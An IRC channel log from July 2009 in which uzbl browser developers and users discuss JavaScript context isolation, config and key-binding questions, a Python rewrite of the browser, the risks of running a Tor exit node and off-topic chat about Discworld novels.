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20:50 < dxdx> i'm making the js evaluation context both persistent and partially isolated (local variables are not public anymore, but access to global ones is allowed)
20:51 < dxdx> the persistent part is likely to end with a bunch of segfaults and blood, but i'm doing it anyway
20:53 < scj> dxdx: sounds cool :)
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21:25 < N30N> why doesn't this work? js alert(Uzbl.run('print @(echo $XDG_DATA_HOME)@'));
21:26 < N30N> or rather how do I get it to :)
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--- Log opened Sat Jul 04 22:04:24 2009
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22:05 < dxdx> !c++
22:05 < Dieterbe> hello world !
22:06 < dxdx> Dieterbe: hai
22:06 < dxdx> !karma c
22:06 < uzblbot> dxdx: Karma for "c" has been increased 1 time and decreased 0 times for a total karma of 1.
22:06 < dnyy> hullo
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22:15 < holizz> !c--
22:15 < holizz> !karma c
22:15 < uzblbot> holizz: Karma for "c" has been increased 1 time and decreased 1 time for a total karma of 0.
22:16 < holizz> !What is the purpose of this bot?
22:16 < uzblbot> holizz: Error: "What" is not a valid command.
22:18 < dxdx> holizz: i think it's for the logs
22:18 < holizz> !So we can record how much karma c has?
22:18 < uzblbot> holizz: Error: "So" is not a valid command.
22:19 < Dieterbe> nah, i'm online myself as much as the bot. the bot is more for channel status, quotes, karma etc
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22:19 < dxdx> then who was log?
22:19 < holizz> !tell Dieterbe your face
22:20 < bob_f> !for (;;) { bob_f++; }
22:20 < uzblbot> bob_f: Error: "for" is not a valid command.
22:20 < bob_f> Oh well.
22:20 < dxdx> !tell dxdx dxdx
22:20 < holizz> !tell holizz test
22:20 < dxdx> !tell uzblbot !tell dxdx dxdx
22:20 < uzblbot> dxdx: Error: You just told me, why should I tell myself?
22:20 < holizz> !tell uzblbot !tell holizz test
22:20 < uzblbot> holizz: Error: You just told me, why should I tell myself?
22:20 < dxdx> lol
22:20 < Dieterbe> dxdx: i do
22:21 < bob_f> I wrote a bot for work so we can mail out a daily record of what we've been working on, and added Markov chains for fun.
22:21 < holizz> I think we need two bots to create an infinate loop.
22:22 < holizz> !google uzbl
22:22 < uzblbot> holizz: Error: "google" is not a valid command.
22:22 < holizz> !dns uzbl.org
22:22 < uzblbot> holizz: Error: "dns" is not a valid command.
22:22 < holizz> !help
22:22 < uzblbot> holizz: (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
22:23 < dxdx> after the extinction of the humanity, bots will stay alive and they'll have interesting philosophical talks which are actually markov chains of everything we said
22:23 < dxdx> (?)
22:24 < holizz> !tell dxdx after the extinction of the humanity, bots will stay alive and they'll have interesting philosophical talks which are actually !tell uzblbot !tell uzblbot !tell uzblbot !tell uzblbot !tell uzblbot !tell uzblbot !tell uzblbot !tell uzblbot !tell uzblbot !tell uzblbot !tell uzblbot !tell uzblbot !tell uzblbot
22:25 < dxdx> holizz is a bot which markovs whole lines, not words
22:26 < holizz> !while true !tell #uzbl !tell #uzbl !tell #uzbl !tell #uzbl !tell #uzbl !tell #uzbl !tell #uzbl
22:26 < uzblbot> holizz: Error: "while" is not a valid command.
22:27 < dxdx> !help
22:27 < uzblbot> dxdx: (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
22:27 < dxdx> !list
22:27 < uzblbot> dxdx: Admin, Channel, ChannelLogger, ChannelStats, Config, Karma, Misc, Owner, Quote, Seen, and User
22:27 < dxdx> !quote dxdx dxdx
22:27 < uzblbot> dxdx: Error: The "Quote" plugin is loaded, but there is no command named "dxdx" in it.  Try "list Quote" to see the commands in the "Quote" plugin.
22:27 < dxdx> !list quote
22:27 < uzblbot> dxdx: add, change, get, random, remove, search, and stats
22:28 < dxdx> !quote add dxdx dxdx
22:28 < uzblbot> dxdx: Error: You must be registered to use this command. If you are already registered, you must either identify (using the identify command) or add a hostmask matching your current hostmask (using the "hostmask add" command).
22:28 < dxdx> !admin list
22:28 < uzblbot> dxdx: Error: The "Admin" plugin is loaded, but there is no command named "list" in it.  Try "list Admin" to see the commands in the "Admin" plugin.
22:28 < dxdx> !list admin
22:28 < uzblbot> dxdx: capability add, capability remove, channels, ignore add, ignore list, ignore remove, join, nick, and part
22:28 < dxdx> !list owner
22:28 < uzblbot> dxdx: announce, defaultcapability, defaultplugin, disable, enable, flush, ircquote, load, log, quit, reload, rename, unload, unrename, and upkeep
22:29  * dxdx realizes this could be done privately
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22:32 < bob_f> Heh.
22:33 < holizz> !quote get 1
22:33 < uzblbot> holizz: Quote #1: "ktne: just a blank window // N30N: ktne: that's uzbl" (added by holizz at 10:31 PM, July 04, 2009)
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22:36 < holizz> !quote get 2
22:36 < uzblbot> holizz: Quote #2: "uzblbot: (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin." (added by holizz at 10:35 PM, July 04, 2009)
22:36 < holizz> My personal favourite.
22:36 < dxdx> (?)
22:45 < holizz> ??
22:46 < dxdx> my mark of lack of sense/seriousness
22:46 < dxdx> also, http://pastebin.com/m2e328b6a
22:48 < dxdx> (the loaded page was google, with no jquery at all)
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22:50 < N30N_> dxdx: soz, I had to run, thanks for the reply :)
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22:53 < holizz> I can't make uzblbot tell things to nickserv. This makes me sad.
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22:54 < N30N> dxdx: donno if you got my last msg (connection on the fritz), thx for the reply b4 :)
22:58 < dxdx> N30N: yeah, got it from the second of your three clones
22:59 < dxdx> holizz: what about chanserv?
22:59 < holizz> dxdx, Nah, I think it only talks to users who have been in #uzbl at some point.
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23:08 < dxdx> scj: i could get the "document" object in the other context, but not "window" (it segfaults when trying to access, which sucks and might be a bug)
23:11 < uranther> !seen someone
23:11 < uzblbot> uranther: I have not seen someone.
23:12 < dxdx> !seen anybody
23:12 < uzblbot> dxdx: I have not seen anybody.
23:12 < dxdx> he's blind
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23:52 < dxdx> Dieterbe: are you still alive?
23:52 < dxdx> when will uranther's branch be merged?
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23:57 < dxdx> when will uranther, urnthr or urantherz's branch be merged?
23:57 < scj> dxdx: yeah, that does seem a bit odd
23:58 < dxdx> scj: i think it's because window is its global object, i'm considering workarounding it by writing a proxy object
23:59 < dxdx> btw. there is another approach to do all this stuff: instead of evaluating a string, create a function whose body is the string and evaluate it
23:59 < dxdx> but it would require to explicitly use "return" which would break a lot of backwards compatibility
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00:03 < scj> that could be hidden by a wrapper function
00:04 < dxdx> how?
00:05 < dxdx> i mean, the current behavior is (AFAIK): the first expression which returns a value is the return value
00:05 < dxdx> prepending
00:05 < dxdx> oops
00:06 < dxdx> prepending "return " to the source would fail sometimes
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00:08 < scj> actually, I'm mostly talking out of my ass and should probably be ignored :v
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00:17 < urantherz> dxdx, i second that :/
00:17 < urantherz> internet problems...
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00:47 < dxdx> scj: don't worry, nonsense is sometimes useful too
00:48 < dxdx> if you get me to think it in a different way that could work
00:48 < guymann> is anyone using "stylesheet_uri" in their config?
00:48 < holizz> guymann, Yep.
00:48 < guymann> i have it set to file:///some/location, but it doesn't get applied
00:48 < guymann> holizz, is it working etc?
00:49 < holizz> Good question. Let me check.
00:49 < holizz> Yep. Seems to be.
00:49 < guymann> hm...
00:50 < holizz> A simple test: add this to your stylesheet: body{background:red}
00:50 < holizz> And browse to this URI: data:text/html,hello
00:50 < guymann> ok
00:50 < holizz> If the background is red, it works.
00:51 < guymann> white background :|
00:51 < guymann> what have i done ;-;
00:51 < holizz> Is your file:// URI definately correct?
00:51 < guymann> i'll double check
00:51 < guymann> set stylesheet_uri = file:///home/charlie/.config/style.css
00:51 < guymann> looks good to me
00:52 < holizz> Your style.css is in .config rather than .config/uzbl?
00:52 < guymann> yeah
00:52 < holizz> Okay.
00:52 < guymann> i'll try /uzbl/
00:52 < guymann> oh hoh ho
00:52 < guymann> :)
00:52 < guymann> it works
00:53 < holizz> What had you done wrong?
00:53 < guymann> i moved style.css from $XDG_CONFIG_HOME/ to $XDG_DATA_HOME/uzbl/
00:53 < guymann> i doubt that had anything to do with it though...
00:53 < guymann> oh well, it works now
00:53 < guymann> thank you
00:54 < holizz> Cool.
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00:55 < sentientswitch> just saw uzbl on reddit :)
00:56 < uranther> cool man
00:56 < sentientswitch> http://www.reddit.com/r/programming/comments/8y6pr/uzbl_the_browser_had_its_first_alpha_release_this/
00:56 < sentientswitch> yeah
00:56 < uranther> ah lazzareth posted it
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01:01 < uranther> man i need to pay more attention to uzbl.org.. didn't realize there was an alpha release
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01:06 < Bram> hello, is there a way to bind the space bar to a action ?
01:06 < dxdx> uranther: that was just yesterday
01:06 < dxdx> Bram: i don't think so
01:06 < guymann> Bram, perhaps \
01:06 < guymann> escape it?
01:06 < guymann> i don't know if glib reads escapes
01:07 < guymann> you might even have to edit uzbl.c or config.c
01:07 < guymann> er, config.h
01:08 < Bram> guymann: \ doesn't work :/
01:08 < Bram> it was to map it ton pagedown
01:08 < Bram> s/map/bind
01:08 < guymann> yeah it looks like you'll have to edit `config.h'
01:08 < dxdx> i don't think config.h will change anything
01:08 < guymann> why?
01:08 < dxdx> the commands are strings just like the config file
01:09 < guymann> hm...
01:09 < guymann> i'll try it :D hold on
01:09 < uranther> we should put that on the TODO.. it would need to be escaped somehow
01:09 < uranther> or have an alias
01:10 < Bram> thanks, I don't see anythong that can help me in the config.h
01:11 < guymann> yeah config.h doesn't work...
01:11 < guymann> it was worth a try though :)
01:12 < dxdx> i think the right way would be to add a lower-level bind method, like keysyms or something
01:13 < guymann> yeah
01:13 < dxdx> which would allow other kinds of bindings too, not just commands
01:13 < guymann> bind * quit
01:13 < guymann> haha
01:13 < dxdx> lol
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01:46 < holizz> Wanna see some sexy code?
01:46 < holizz> self.add_binding('o _', lambda x: self.open_uri(x))
01:46 < holizz> self.add_binding('b', self.webview.go_back)
01:46 < holizz> self.add_binding('ZZ', self.quit)
01:47 < uranther> :o
01:47 < bob_f> Tut tut.
01:48 < bob_f> Well, operator module callers are 2.6+ only.
01:48 < bob_f> And the lambda is nice and clear.
01:49 < bob_f> holizz: Why don't you make add_binding as "def add_binding(self, func, *args, **kwargs)" ?
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01:50 < bob_f> In fact, why do you have the lambda at all there ?
01:50 < bob_f> "self.add_binding('o _', self.open_uri)" would do the same.
01:51 < holizz> bob_f, That would call open_uri with no arguments.
01:51 < bob_f> Then where does the "x" come from ?
01:51 < holizz> That's the _
01:52 < bob_f> Right, but if the lambda wthat wraps it gets that argument, so would the function, without the lambda.
01:52 < bct> (lambda x: y(x))(z) is equivalent to (y)(z)
01:52 < bob_f> Yes.
01:54 < holizz> Oh right, yes.
01:54 < bob_f> Look what happens when I don't drink.
01:54 < bob_f> I start having valid points. :(
01:55 < bob_f> I'm gonna go to bed before it gets out of hand. :)  Good night.
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01:58 < holizz> Night, bob_f .
01:59 < holizz> rob|, look what I can do with MY config file (well, it's not in a config file yet... but something similar will be)...
01:59 < holizz> self.add_binding('o _', self.open_uri)
01:59 < holizz> self.add_binding('b', self.webview.go_back)
01:59 < holizz> self.add_binding('ZZ', self.quit)
02:02 < Bram> python ? uzbl is in python o.O ?
02:02 < Bram> I though it was C
02:02 < holizz> Bram, This is my own little project - to clone uzbl in Python.
02:03 < Bram> holizz: strange idea, what is your motivations ?
02:03 < holizz> I was dissatified that the config file wasn't using a real language.
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02:05 < Bram> are you rewriting totaly uzbl into python or just patching it to add the possibility to write conf file into python ?
02:06 < rob|> holizz: so how is that different from what we already have besides an akward synatx ;)
02:07 < guymann> it's neato
02:07 < holizz> Bram, It's a rewrite. It's rather easy too. You can get so much done in so few lines of Python compared to C.
02:08 < holizz> rob|, It's different because I will be able to handle cookies and such without shellouts.
02:10 < rob|> sure, though i refered to your binding examples
02:10 < Bram> holizz: how is the performance comparaison ?
02:10 < holizz> rob|, In that case it isn't really. But the ability is there to do cool stuff.
02:11 < holizz> Bram, pygtk vs. C Gtk+ with lots of shellouts? No idea.
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02:11 < rob|> yes, a build in language or the ability to extend in the built language is definitly nice
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02:13 < rob|> anyways, we can achieve that with C too
02:13 < uranther> i want to take a stab at writing up a JS config.. but didn't know where to start :/
02:15  * noisetonepause was just thinking about attempting a lua-based uzbl-alike...
02:16 < Bram> holizz: where is you're repository ? I'm curious
02:17 < holizz> Bram, http://github.com/holizz/pyweb
02:17 < holizz> I haven't pushed the latest changes yet though. I will just as soon as I get the config file working.
02:19 < Bram> haha 33 lines of codes :p
02:19 < rob|> imo making the config be a turing complete language (js, lua, whatever) is the wrong way to go. we should rather provide a API so that any language can be used sort of module-like
02:19 < Bram> rob|: well thinking of the .vimrc it's not so bad
02:22 < rob|> i thinking more of things like urxvt that can be compiled with e.g. perl support and can extended in that labguage, so anybody could have uzbl cofigured in his lang. of choice
02:24 < Bram> through I really love python I'm quite in aggreement with you rob|
02:26 < holizz> Bram, I just pushed my changes.
02:27 < holizz> 142 lines and I've got quite a lot of functionality already.
02:32 < uranther> python is cool :/
02:34 < dxdx> but you will never have dom access! mwahaha
02:35 < dxdx> well, actually i was going to write javascriptcore bindings for another project i'm working on, but now i'll have to leave it (..just to troll)
02:36 < uranther> what project
02:36 < dxdx> www.emesene.org a msn messenger client in pygtk
02:36 < uranther> oo you have an official website
02:36 < dxdx> lol
02:36 < rob|> set load_commit_handler = script $XDG_DATA_HOME/uzbl/scripts/midclick_open.js
02:36 < rob|> err, sry
02:37 < holizz> dxdx, lol, who uses MSN?
02:37 < uranther> so what's wrong with pidgin?
02:37 < dxdx> holizz: most people where i live, and according to the forum a bunch of people in europe except UK (and nobody in USA)
02:37 < uranther> yeah US is all AIM, everywhere else is MSN
02:37 < uranther> or QQ in china
02:39 < holizz> dxdx, Actually, it's the most popular IM system (at least judging by my friends) in the UK. I use it too. Just through a Jabber transport.
02:39 < Bram> holizz: wow really cool, through I hate recoding of one software in another langage I now want to get involve into this
02:39 < dxdx> uranther: pidgin doesn't focus in msn, and it seems that our GUI is so userfriendly that everybody loves it (aka similar to the official one)
02:39 < Bram> dxdx: emesene never works for me :/
02:39 < uranther> pidgin doesn't focus on a lot of things
02:39 < dxdx> Bram: autoreply: upgrade to trunk
02:40 < uranther> their developers are notoriously douchebags
02:40 < dxdx> lol
02:40 < bct> holizz: what transport do you use? are you running your own?
02:40 < bct> pymsn-t stopped working for me :(
02:40 < uranther> they will yell at you if you use gentoo.. :P
02:40 < uranther> and they only care for the features they use
02:41 < uranther> aka not "send file"
02:41 < uranther> and direct IM
02:41 < dxdx> well, i'm lazy at direct p2p connections too
02:41 < holizz> bct, I tried running a Jabber server once. No defaults much? I never got it working. I'm using msn2.jabber.dk - although transports frequently just go down, and then I have to spend weeks locating new ones.
02:41 < bct> hmm, ok.
02:42 < bct> there's a gsoc project to make a libpurple transport, i'm looking forward to that
02:42 < holizz> bct, Remember when jabber.org had a list of public Jabber servers? Remember when that list said which transports the server supported?
02:42 < bct> what jabberd were you using? ejabberd isn't terrible to set up
02:42 < uranther> libpurple transport?
02:43 < holizz> bct, No idea. This was at least three years ago.
02:43 < bct> libpurple is pidgin's protocol library
02:43 < uranther> yeah, like their own p2p protocol?
02:43 < bct> no, it's a library that contains their implementation of all the protocols they support
02:43 < bct> AIM, MSN, XMPP, etc.
02:43 < uranther> i know what libpurple is :/
02:43 < bct> oh.
02:43 < uranther> what is the "transport" part
02:44 < bct> a transport is a jabber <-> some other protocol gateway
02:44 < uranther> hm?
02:44 < bct> the libpurple one is supposed to be able to support everything libpurple does
02:44 < bct> so you can use a pure XMPP client and use it to talk to people on any other network
02:44 < uranther> oh badass
02:45 < bct> holizz, i recall that.
02:45 < bct> haven't used it for ages since i've got my own server
02:45 < uranther> http://developer.pidgin.im/wiki/GSoC2009/XMPPTransport
02:46 < bct> yup, that's the one
02:46 < holizz> uranther, For example, I'm currently talking to y'all through Gajim, through Jabber on jabber.org, through the IRC transport on jabber.linuxlovers.at, which connects to irc.freenode.net on my behalf.
02:46 < uranther> pretty big project for one dude, seemingly
02:47 < uranther> D:
02:47 < dxdx> uranther: actually it sounds like writing bindings
02:47 < bct> seems to me that he's just writing glue for a bunch of libraries, not a huge deal.
02:47 < bct> dunno though.
02:47 < dxdx> hivemind
02:48 < holizz> I'd use irssi, only Freenode banned my IP because I run a Tor server.
02:48 < uranther> oh
02:48 < uranther> holizz, why'd they ban you cuz that?
02:48 < bct> lame :(
02:48 < bct> exit node?
02:48 < holizz> bct, Yep.
02:48 < bct> i should set one up one of these days.
02:49 < uranther> i read an article about the risks of running an exit node..
02:49 < holizz> uranther, That's their policy. They _claim_ to have a method to connect via Tor, but it doesn't work.
02:49 < uranther> aka the cops showed up to this guys house for child porn
02:49 < dxdx> lol
02:49 < dxdx> 4ch*cough*
02:49 < holizz> uranther, Yeah, like by UK law I'm responsible for all the network traffic that passes through my connection.
02:50 < bct> i don't want my hardware seized, but somebody's got to take the risk
02:50 < uranther> scary :(
02:50 < bct> cuz that shit can't stand
02:51 < holizz> uranther, But ISPs aren't responsible for their network traffic.
02:51 < uranther> right
02:51 < bct> what do you have to do to count as an ISP?
02:52 < dxdx> i think the right way to expand the tor network is to use malware. windows computers are infected easily and they become the zombies of a few idiots, why can't they become zombies for everybody?
02:52 < uranther> lol
02:52 < holizz> bct, Be friendly to the government? Subscribe to their secret blacklist? Stuff like that, I guess.
02:53 < uranther> then the cops will show up to your grandma's house for childporn
02:53 < holizz> dxdx, This is a great idea.
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02:53 < dxdx> yup, too bad it is NOT "the right way"
02:53 < Bram> holizz: http://paste.debian.net/40999 here is my wonderful patch that will definitly change your software :p
02:54 < istaz_> holizz: you should use the python xdg module instead of looking for the directory by hand
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02:54 < dxdx> wat
02:54 < holizz> Too naive, Bram!
02:55 < uranther> http://www.freedesktop.org/wiki/Software/pyxdg
02:55 < uranther> python has a module for everything
02:55 < dxdx> why not just os.environ.get('XDG_CONFIG_HOME', os.path.expanduser("~/.config"))?
02:56 < holizz> Bram, uzbl doesn't do it right, either. I added a little hack to allow data: URIs, but I expect using one of the many urllibs would allow sanity-checking of the URI.
02:56 < jayzer> is uzbl already branching?
02:56 < holizz> jayzer, It's not a branch. It's a clone.
02:56 < jayzer> ah
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02:57 < holizz> dxdx, Thanks. That's handy.
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03:01 < dxdx> holizz: dict.get and dict.getdefault are awesome
03:02 < dxdx> *setdefault
03:06 < holizz> dxdx, I know they are. I'd just forgotten they existed.
03:14 < holizz> lol, I just tried to exit a shell using ZZ. note: it didn't work.
03:15 < dxdx> i think readline has a vim mode
03:15 < dxdx> i still don't get how would that work
03:15 < Bram> set o -vi
03:15 < Bram> if my memories is correct
03:15 < Bram> *y
03:16 < Bram> nope, set -o vi
03:16 < dxdx> holy shit
03:16 < bct> vi keys 4 lyfe
03:17 < bct> unfortunately not everything uses readline :(
03:17 < holizz> This is interesting.
03:17 < guymann> :3 vi
03:17 < holizz> ZZ still doesn't work.
03:17 < Bram> but it's quite unpleasant, vi(m) works greats for multiline text, less for commande line :/
03:18 < bct> what's the difference?
03:19 < Bram> s/commande line/into a shell
03:19 < bct> my only complaint about it is that it's not always clear what mode you're in
03:19 < holizz> Have you tried : commands?
03:20 < Bram> holizz: I've just check and I don't see any command to exit the shell in the vi mode
03:20 < bct> and you can't use the same policy of "go back to command mode when you're not typing"
03:21 < bct> the command is ^D
03:21 < bct> :P
03:21 < holizz> Very vi.
03:21 < bct> maybe there's another one, but i've got ^D burned into my brain.
03:22 < bct> i never use ZZ even when i'm in vi, it's all about the :wq
03:22 < Bram> same here
03:22 < dxdx> i don't see any advantages with vi-mode.. moving the hand slightly to the right where the arrow keys are isn't that difficult
03:22 < jayzer> i use :x
03:23 < bct> dxdx, it's more difficult than not.
03:23 < holizz> dxdx: You use the cursor keys???
03:23 < bct> and line editing stuff like cb, dw, etc. is really nice.
03:23 < holizz> dxdx, c-b, c-f, c-p, c-n.
03:24 < dxdx> imo it is more difficult to move forward the left hand to ESC and wait for the mode change (why the hell does it take half a second)
03:24 < bct> not to mention navigation using b and w
03:24 < bct> CapsLock -> Esc, yo
03:24 < jayzer> yeah, and get a new computer
03:24 < holizz> bct: Then where is your Ctrl?
03:24 < bct> normal position, i rarely use ctrl.
03:25 < dxdx> holizz: wait, what. i use c-n for completition, but how do the others replace arrow keys?
03:25 < holizz> dxdx: It waits a second because you can press Esc -> (a letter) to emulate Alt-(a letter).
03:25 < bct> eh? doesn't do that for me.
03:25 < dxdx> holizz: good point, any ideas on how to disable that?
03:26 < dxdx> my productivity will rise 150% if i get to do faster mode changes (!!)
03:27 < holizz> dxdx, Not sure. It might be part of the terminal emulator.
03:51 < holizz> Now that it's 3am, I think I shall go to bed.
03:51 < holizz> Night, #uzbl.
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09:58 < ruskie> hmmm is there a way to set full media zoom by default? instead of toggling it only?
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10:13 < ruskie> doh... I just need to call toggle_zoom_type in the config
10:13 < ruskie> hmm or not...
10:15 < ruskie> ahh works but for some reason set zoom_level = 1.5 doesn't
10:16 < ruskie> can put it to 2 3 1 0
10:16 < ruskie> but not to full number and a bit
10:18 < ruskie> well calling zoom_in helps as well ;)
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10:43 < Dieterbe> 23:52:41 < dxdx> Dieterbe: are you still alive?
10:43 < Dieterbe> 23:52:57 < dxdx> when will uranther's branch be merged?
10:44 < Dieterbe> i'll look into that. he's tree(s) better be in good shape ;)
10:54 < bob_f> Mourning.
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11:19 < barrucadu> Hi :)
11:23 < Dieterbe> well well well
11:23 < Dieterbe> long time no see ;0
11:23 < barrucadu> One day of school, two uni open days, and I'm free for the summer ^^
11:24 < bob_f> barrucadu: You in the UK ?
11:24 < barrucadu> bob_f: yes
11:24 < bob_f> Heh, I could *smell* you.
11:25 < barrucadu> Hmm, I took a shower yesterday :p
11:25 < bob_f> Naw, I meant more like the way vampires can smell humans or something.
11:25 < bob_f> I guess it came out wrong. :)
11:25 < bob_f> So anyway, you can bring me some breakfast, hooray. \o/
11:26 < barrucadu> I'm far too lazy to do that, do it yourself :p
11:26 < bob_f> Harrumph.
11:26 < Dieterbe> ok here's the deal
11:27 < Dieterbe> the first one who writes a new killer feature will get food served by the other one
11:27 < bob_f> I'll put the kettle on.
11:27 < barrucadu> I only woke up an hour or so ago. My brain isn't in killer feature mode
11:28 < bob_f> And I'm too hungry to write killer features. :)
11:28 < bob_f> I'm gonna get up and make pancakes and scrambled eggs !
11:28 < barrucadu> I had a restless night of not being able to sleep because it was far too hot.
11:28 < barrucadu> And being attacked by moths <.>
11:29 < ruskie> cats are great at getting rid of moths ;)
11:30 < barrucadu> My dog used to be. Now he's old, slow, and lazy.
11:30 < barrucadu> I've found flip flops work fairly well ;)
11:30 < Dieterbe> flip flop?
11:31 < bob_f> http://cannazine.co.uk/images/stories/items/flipflop-gold.jpg
11:32 < barrucadu> The One True Footware, of which all others are mere pale imitations :p
11:32 < ruskie> lol
11:32  * ruskie wonders if barrucadu reads Pratchett
11:32  * bob_f hisses.
11:33  * barrucadu is trying to think of a good discworld quote to answer that statement with :p
11:34 < ruskie> :)
11:34 < bob_f> I'm not a fan of Pratchett, but I remember finding it hilarious when a critic said of him "he doesn't even write in real chapters !"
11:34  * ruskie hates chapters as well
11:36 < barrucadu> Chapters are handy ways of marking where you're up to, but that's it really
11:36 < ruskie> so are page numbers ;)
11:36 < bob_f> Welllllll.
11:36 < barrucadu> With a chapter you know you're up to the beginning of that chapter
11:36 < ruskie> as is a plain bookmark ;)
11:36 < barrucadu> With page numbers you have to recall where on the page you are
11:36 < barrucadu> Which, generally, is the top
11:37 < bob_f> It's a little more than that, I think. It's a wrapped-up segment of a larger composition. Like a song on an album.
11:37 < barrucadu> So it's not really a problem :p
11:37 < ruskie> bob_f, but nothing in discworld is wrapped-up segment ;)
11:37 < bob_f> Neither is it very well written. ;)
11:37  * bob_f hides.
11:37 < ruskie> it's like N different stories intertwined with no logical start or finish
11:38  * ruskie doesn't really care
11:38 < bob_f> I've read a bunch of discworld novels; I guess I just don't like that kind of stuff any more, for one reason or another.
11:38 < ruskie> each person is entitled to his own opinion
11:38 < barrucadu> But yours is wrong. <.>
11:38 < barrucadu> :p
11:38 < bob_f> :)
11:39  * barrucadu glances at his Discworld calendar, map, map of Lancre, and map of Ankh Morpork
11:39 < barrucadu> It irks me that I don't have the Death's Domain map <.>
11:40 < ruskie> I'm only getting the novels atm
11:40 < ruskie> currently rereading soul music
11:40 < bob_f> This is an excellent time to go make some breakfast - see you cats later.
11:40 < barrucadu> I'm currently re-reading Thief of Time
11:40 < ruskie> and have them up to Feet of clay
11:40 < ruskie> probably by this time next year I should have them all
11:40 < barrucadu> I think I've got all of them…
11:40 < ruskie> I tend to order 4 or so every other month
11:41 < ruskie> and these are the black cover ones
11:41 < ruskie> I like them more than the oldsk00l one
11:41 < barrucadu> I remember the day when my dad got me a copy of The Colour of Magic and said he thinks it's the kind of thing I would like :)
11:42 < ruskie> :)
11:42 < ruskie> I borrowed it from the local library
11:42 < ruskie> but they only have like 2 or 3 of them
11:42 < barrucadu> In fact, I've still got that copy… the cover is pretty faded and some pages are falling out though
11:42 < ruskie> colour of magic and the light fantastic and pyramids
11:43 < barrucadu> After reading more of them, I don't particularly like Colour of Magic and Light Fantastic any more
11:43 < barrucadu> Particularly Death in those two books
11:43 < ruskie> well they were more so-so I guess
11:43 < ruskie> I still like them
11:43 < ruskie> but then I like so much of the discworld characters
11:44 < barrucadu> I think the character of Death reaches his best in Reaper Man
11:44 < barrucadu> Though, something about the line "HAVE YOU HAD LUNCH? IT WAS JAM ROLY POLY." in Thief of Time is just brilliant :)
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11:49 < barrucadu> I think I'll go and find something to eat…
11:51 < ruskie> enjoy
11:51  * ruskie goes back to cleaning and dismantling
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12:59 < holizz> def kw(pyweb, s): return lambda u: pyweb.webview.open(s % u)
12:59 < holizz> pyweb.add_binding('gg _', kw(pyweb, 'http://www.google.com/search?q=%s'))
13:03 < lazzareth_> holizz, Is this your pyweb ?
13:03 < holizz> Yup.
13:04 < lazzareth_> Support native tabbing?
13:04 < bob_f> Hey lazzareth_. Here's a new recording from yesterday if you want to listen: http://noiseforfree.com/music/piano/23.mp3
13:05 < lazzareth_> bob_f, Keep em coming bob_f. I really liked the one from the other day.
13:05 < lazzareth_> bob_f, Have you put an album out?
13:06 < Phillemann> holizz: Seeing this I consider learning python ;)
13:06 < holizz> lazzareth_, Not yet. Although it won't be too hard.
13:07 < holizz> Phillemann, Do it. http://docs.python.org/tutorial/
13:07 < bob_f> lazzareth_: Nah - going to launch soundbush.com soon, and that'll be like a musical blog type thing. When I have enough material (only been recording a few weeks) I'll probably pick my favourites and put them on a CD and maybe sell them really cheaply on the site.
13:08 < lazzareth_> bob_f, Well let me know if you ever do :)
13:08 < bob_f> Will do !
13:09 < holizz> uzbl can't do this: pyweb.add_binding('w _ _', lambda u,v: pyweb.webview.open('https://secure.wikimedia.org/wikipedia/%s/wiki/Special:Search?search=%s' % (u,v)))
13:09 < holizz> I tried: bind w _ _ = uri https://secure.wikimedia.org/wikipedia/%s/wiki/Special:Search?search=%s
13:10 < Phillemann> holizz: It's a strange notation, what's the type of second argument of "add_binding"?
13:10 < holizz> Phillemann, It takes a function.
13:11 < Phillemann> Well..._any_ function? What happens if there are two underscores but you specify a function taking only one parameter?
13:11 < lazzareth_> holizz, I'm not sure about "w _ _" because what if someone enters "w one two three", who gets the three?
13:12 < holizz> Phillemann, Python doesn't do any kind of type-checking. So it'll throw an exception.
13:13 < holizz> lazzareth_, Let's see... '_' is converted to /(.*)/, so it becomes the first argument.
13:13 < Phillemann> holizz: Oh. Hm.
13:14 < Phillemann> Shouldn't it convert to ([^ ]+)?
13:14 < lazzareth_> holizz, Ohh I didnt see your: ", lambda u,v: pyw"
13:14 < lazzareth_> holizz, .'s are nasty.
13:14 < lazzareth_> They eat anything.
13:15 < lazzareth_> bob_f, You might like this http://www.youtube.com/watch?v=UJR0WF_vVmU
13:16 < holizz> lazzareth_, You could always insert your own regexps. Use (.*?) if you like.
13:17 < bob_f> lazzareth_: In the living room at the moment, don't want to freak out my housemate. :)
13:17 < bob_f> Will watch when I get upstairs.
13:17 < Phillemann> holizz: So add_bindings first argument is a regular expression with some special characters?
13:17 < lazzareth_> bob_f, Its a paino recital.
13:17 < lazzareth_> 'piano
13:18 < holizz> Phillemann, Yep. "_" just gets converted to "(.*)". I should add something to emulate uzbl's * functionality, maybe.
13:18 < Phillemann> holizz: Hmmm, I'd make a distinction between this "globbed regex" and real regexes.
13:18 < Phillemann> For example, what if I write: '[_]*', is that converted to '[(.*)]*'?
13:19 < holizz> Phillemann, Good point. I'll fix that when it comes up.
13:20 < Phillemann> Something like add_binding(simple('w _ _'),...) and add_binding(regex('w .* .*'),...) or something.
13:21 < Phillemann> However, I like the approach with the callback function.
13:24 < holizz> I'm going through my uzbl config, converting all my bindings to Python. So far the only thing I can't do it the search /* thing.
13:33 < bob_f> lazzareth_: Very cool video.
13:33 < lazzareth_> bob_f, I thought so too.
13:34 < Phillemann> holizz: Do you use python-3?
13:35 < holizz> Phillemann, Not in this - I don't imagine pygtk has been ported yet.
13:44 < bob_f> Boooooo, python 3.
13:46 < holizz> bob_f, What's wrong with Python 3?
13:48 < bob_f> holizz: IMO it was a huge mistake.
13:48 < holizz> orly? Because of the backwards-incompatibility?
13:48 < bob_f> Suddenly nothing works with it, nobody will be using it for at least a few years, lib maintainers are going to all have to port their libs (and just think how frustrating it will be when you're using it and everything except one really important lib is ported), and for what gain ? Very little.
13:49 < bob_f> I really think they should have just said "oh well, python 2.x will never be perfect, but let's make it as good as we can".
13:50 < Phillemann> "Let's make it faster" would be a good start :P
13:50 < holizz> Well, I don't think Python 3 was intended to be used in serious projects for another few years yet. But we don't want a situation like Java has where they support _everything_ they ever supported ever.
13:51 < holizz> Phillemann, One moment. Let me find the appropriate pair of slides which I saw on Thursday.
13:52 < bob_f> holizz: Sure, but suddenly breaking *everything* just for the sake of ... well, there's essentially nothing in python 3 that's actually going to change the way I code.
13:52 < bob_f> set literals and "head, *rest = iterable" are about the only things I at all care about, and I can certainly live without them.
